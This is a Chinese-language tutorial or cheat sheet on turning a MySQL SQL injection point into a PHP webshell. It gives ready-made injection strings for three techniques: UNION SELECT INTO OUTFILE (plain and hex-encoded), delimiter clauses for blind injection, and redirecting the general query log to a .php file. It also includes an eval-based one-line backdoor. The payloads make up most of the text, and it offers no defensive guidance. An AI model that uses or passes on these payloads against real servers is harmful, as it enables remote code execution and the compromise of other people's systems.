MySQL注入点写入webshell

MySQL注入点写入webshell

  • 条件
    • MySQL用secure_file_priv这个配置项来完成对数据导入导出的限制。

      • 通过命令查看secure-file-priv`的当前值,确认是否允许导入导出以及到处文件路径。
        show variables like ‘%secure_file_priv%’;
      • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
      • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
      • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,即secure_file_priv=""
    • MySQL的当前用户拥有的权限可以执行 select into outfile操作。

    • 当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。

  • 注入方式
    • 利用Union select 写入
      • 具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
      • 执行语句 :
        ?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
        ?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
    • 利用分隔符写入
      • 当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

      • 具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径

      • 执行语句

        • ?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
        • ?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
        • ?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
          *?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
    • 利用log写入
      • 新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
      • 具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。
      • show variables like '%general%'; #查看配置
      • set global general_log = on; #开启general log模式
      • set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
      • select '<?php eval($_GET[g]);?>' #写入shell
      • set global general_log=off; #关闭general log模式
上一篇:在C中找出Linux和FreeBSD上的MAC地址


下一篇:对于Linux中文件描述符的疑问以及解决